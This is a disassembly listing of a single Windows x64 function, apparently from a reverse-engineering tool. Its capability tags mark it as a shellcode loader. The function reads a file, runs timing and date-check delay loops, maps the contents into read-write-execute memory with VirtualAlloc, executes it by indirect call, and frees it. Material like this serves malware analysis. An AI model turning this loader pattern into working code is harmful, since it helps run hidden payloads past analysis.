Function at 0x140002fd0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0xe8]
sub rsp, 0x1c0
movaps xmmword [rax - 0x38], xmm6
xor r15d, r15d
cmp qword [rcx + 0x18], 0xf
jbe 0x140003002
mov rcx, qword [rcx]
mov r8d, 0x20
mov rdx, rcx
lea rcx, [rbp - 0x60]
call fcn.140006840
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], r12
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x64], edx
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x50], 6
je 0x140003069
lea rdx, str.Failed_to_open_file_
lea rcx, [0x1400404b0]
call fcn.140007c70
mov rcx, rax
call fcn.140007f20
jmp 0x1400035ac
mov qword [rsp + 0x30], r15
mov word [rsp + 0x38], 1
mov rcx, qword [rbp + rcx - 0x18]
mov qword [rsp + 0x50], rcx
test rcx, rcx
sete byte [rsp + 0x58]
mov byte [rsp + 0x59], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm6, xmmword [rsp + 0x30]
test rcx, rcx
je 0x1400030fd
mov rax, qword [rcx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400030c9
mov rax, qword [rcx + 0x50]
cmp dword [rax], 0
jle 0x1400030c9
movzx eax, byte [rdx]
jmp 0x1400030cf
mov rax, qword [rcx]
call qword [rax + 0x30]
cmp eax, 0xffffffff
je 0x1400030e9
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0x50]
mov byte [rsp + 0x58], 1
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x140003102
mov rax, r15
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x58], 1
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x140003102
movq rax, xmm0
test rax, rax
movq rax, xmm6
jne 0x140003182
test rax, rax
je 0x140003187
movdqa xmmword [rsp + 0x30], xmm6
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.140009c00
nop
lea rcx, [rbp - 0x50]
call fcn.140006730
test rax, rax
jne 0x14000319a
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx - 0x18], 0
cmovne eax, edx
or eax, dword [rbp + rcx - 0x50]
and eax, 0x17
mov dword [rbp + rcx - 0x50], eax
mov edx, dword [rbp + rcx - 0x4c]
and edx, eax
je 0x14000319a
test dl, 4
je 0x140003633
lea rbx, str.ios_base::badbit_set
jmp 0x140003648
test rax, rax
je 0x140003111
movdqa xmm0, xmmword [0x140039630]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
jmp 0x140003131
call fcn.140009ef8
mov rbx, rax
call fcn.140009edc
mov rcx, rax
movabs rsi, 0xb2f4fc0794908cf3
cmp rbx, 0x989680
jne 0x1400031c3
imul rbx, rcx, 0x64
jmp 0x140003233
cmp rbx, 0x16e3600
jne 0x140003217
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rbx, rdx
shr rbx, 0x3f
add rbx, rdx
add rbx, r8
jmp 0x140003233
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
call fcn.140009ef8
mov rdi, rax
call fcn.140009edc
mov rcx, rax
cmp rdi, 0x989680
jne 0x140003252
imul rax, rcx, 0x64
jmp 0x1400032c1
cmp rdi, 0x16e3600
jne 0x1400032a6
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x1400032c1
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
movabs rcx, 0x7fffffff88ca6bff
cmp rax, rcx
jge 0x1400032d8
add rax, 0x77359400
jmp 0x1400032e2
movabs rax, 0x7fffffffffffffff
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0xf0]
call fcn.1400099f0
call fcn.140009ef8
mov rdi, rax
call fcn.140009edc
mov r9, rax
cmp rdi, 0x989680
jne 0x140003314
imul rcx, r9, 0x64
jmp 0x140003383
cmp rdi, 0x16e3600
jne 0x140003368
mov rax, rsi
imul r9
add rdx, r9
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
imul r8, rdx, 0x3b9aca00
imul rcx, rdx, 0x16e3600
sub r9, rcx
imul rcx, r9, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rcx, rdx
add rcx, r8
jmp 0x140003383
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rcx, rax
sub rcx, rbx
movabs rax, 0x431bde82d7b634db
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov esi, 0x7f149
sub esi, edx
lea edi, [rsi + 0x76c]
nop
xor ecx, ecx
call fcn.14001421c
mov ecx, eax
call fcn.140010e14
mov rbx, r15
call fcn.140010de8
inc rbx
cmp rbx, 0x64
jl 0x1400033c1
cmp edi, 0x7f148
je 0x1400033f6
inc edi
mov eax, edi
sub eax, esi
cmp eax, 0x898
jle 0x1400033b0
mov edi, dword [rbp + 0xf0]
cmp edi, 0x7f147
jle 0x140003560
cmp edi, 0x7f149
jae 0x140003560
mov edx, edi
lea rcx, [rsp + 0x50]
call fcn.140007ab0
nop
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x30]
call fcn.140001ef0
nop
lea rsi, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rsi, qword [rsp + 0x30]
mov r14, qword [rsp + 0x40]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
xor ecx, ecx
call fcn.14001421c
mov ecx, eax
call fcn.140010e14
mov rbx, r15
call fcn.140010de8
inc rbx
cmp rbx, 0x64
jl 0x140003464
mov r8, r14
mov rdx, rsi
mov rcx, rdi
call fcn.14002c310
xor ecx, ecx
call fcn.14001421c
mov ecx, eax
call fcn.140010e14
mov rbx, r15
call fcn.140010de8
inc rbx
cmp rbx, 0x64
jl 0x140003491
xor ecx, ecx
call fcn.14001421c
mov ecx, eax
call fcn.140010e14
mov rbx, r15
call fcn.140010de8
inc rbx
cmp rbx, 0x64
jl 0x1400034b0
call rdi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000350f
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000350a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003679
call fcn.14000b1b4
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140003560
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000355a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000367f
call fcn.14000b1b4
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14000359b
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003596
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000362d
call fcn.14000b1b4
movdqa xmm0, xmmword [0x140039630]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x60], r12
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x50]
call fcn.140004b60
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rax
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x64], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x50], rax
lea rcx, [rbp + 0x50]
call fcn.14000a840
nop
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.140014fbc
nop
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.140001430
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140001d90
lea rdx, [0x14003dc60]
lea rcx, [rsp + 0x50]
call fcn.14000d228
nop
call fcn.140014fbc
nop
call fcn.140014fbc
int3